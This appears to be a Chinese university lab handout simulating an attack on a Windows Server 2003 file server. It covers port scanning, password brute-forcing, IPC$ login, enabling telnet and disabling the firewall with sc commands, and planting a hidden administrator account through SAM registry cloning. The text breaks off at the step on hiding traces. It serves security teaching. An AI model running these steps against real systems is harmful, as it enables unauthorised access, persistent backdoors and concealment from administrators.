实验五-模拟黑客攻击.docVIP

实验五 模拟黑客攻击 实验环境： 本例以攻击一台文件服务器为例，演示通常的攻击方法和思路。该文件服务器默认安装了ｗｉｎｄｏｗｓ　ｓｅｒｖｅｒ　２００３，启动了ｗｉｎｄｏｗｓ防火墙但是允许文件共享。其余设置全为默认安装设置，并安装了所有补丁。 需求描述： 扫描目标计算机 获得管理员权限 安装后门 清除攻击记录 实验步骤： 扫描目标计算机 在B计算机上使用扫描软件扫描目标计算机A，确定开放的端口，判断操作系统的类型。 扫描软件推荐使用Ｘ－ｓｃａｎ或流光。 X-SCAN： 使用流光： 打开流光主界面---右击IPC主机---编辑---添加目标主机 主机添加完后，生成字典---工具---字典工具---黑客字典III 生成字典 右击目标添加的主机---探测---探测所有IPC$远程登录 配置字典 探测报告 获得管理员权限 根据扫描结果，尝试暴力破解管理员账户的密码。 Ｘ－ｓｃａｎ、流光、ＬＣ５等软件都提供了暴力破解功能。破解成功后会自动生成报告。 入侵目标计算机 使用管理员的账户建立ＩＰＣ链接，命令为＂net use \\1.1.1.1\ipc$ 123456 /user:administrator＂。 使用SC命令获取目标计算机的所有服务列表，并保存在本地，命令为“sc \\1.1.1.1 query type= service state= all c:\1.txt” 打开1.txt文件，找到telnet，确认telnet服务的状态。 去除telnet服务的禁用状态，设置为自动运行，命令为“sc \\1.1.1.1 config tlntsvr start= auto”。然后启用telnet服务，命令为“sc \\1.1.1.1 start tlntsvr”。 停用目标计算机的windows防火，命令为“sc \\1.1.1.1 stop sharedaccess” 确认目标计算机启用了远程注册表服务，命令为“sc \\1.1.1.1 qc remoteregistry”，如果服务为停止状态，则将其启动。 添加隐藏账户 建立telnet连接，管理目标计算机，命令为“telnet 1.1.1.1”，连接成功后输入管理员的账户名和密码 通过telnet，在目标计算机上建立隐藏账户，命令为“net user yt$ 111 /add”，其中“$”符号用于在命令行里隐藏账户，但是在图形化管理工具里该账户还是可见的。 在本地运行“regedt32”，在“注册表编辑器”中选择“文件”——“连接网络注册表”。 打开目标计算机的注册表，右击“hkey_local_machine”项下“sam”子项下的“sam”子项，选择权限 在SAM的权限窗口中，赋予管理员完全控制权限。断开与目标计算机注册表的连接，然后重新建立连接。 展开目标计算机的“hkey_local_machine\sam\sam\domains\account\users\names”项，找到“administrator”和新建的账户yt$，记录他们的类型，本例中“administrator”的类型为“0x1f4”，“yt$”的类型为“0x3eb” 展开目标计算机“hkey_local_machine\sam\sam\domains\account\users\names”项下后三位是“1f4”的子项，该项和administrator项对应。 双击右侧窗格1f4项下的F键值，复制F键值下的全部数据。 展开目标计算机“hkey_local_machine\sam\sam\domains\account\users\names”项下后三位是“3eb”的子项，使用从1f4项复制的数据覆盖“”项下F键值的数据。 导出目标计算机注册表的yt$项和000003eb项保存到本地，分别命名为yt.reg和*reg，然后将yt.reg和3eb.reg拷贝到\\1.1.1.1\c$下 返回到telnet命令行，删除目标计算机的账户yt$，命令为“net user yt$ /delete”。 在目标计算机上导入yt.reg和*.reg，命令为“reg import yt.reg”和“reg import 3eb.reg”，完成本步骤后将真正在目标计算机上建立一个隐藏账户，使用命令或图形工具都不能看到该账户、但是在注册表中可以看到。 删除目前和目标计算机的IPC连接，命令为“net use \\1.1.1.1 /delete”，使用新建的隐藏账户建立IPC链接，测试该账户是否建立正确并且足够的权限 打开目标计算机的注册表，右击“hkey_local_machine”项下“sam”子项下的“sam”子项，选择权限。去除管理员组的读取和完全控制权限，恢复到默认状态。 保留管理后门、隐藏攻击痕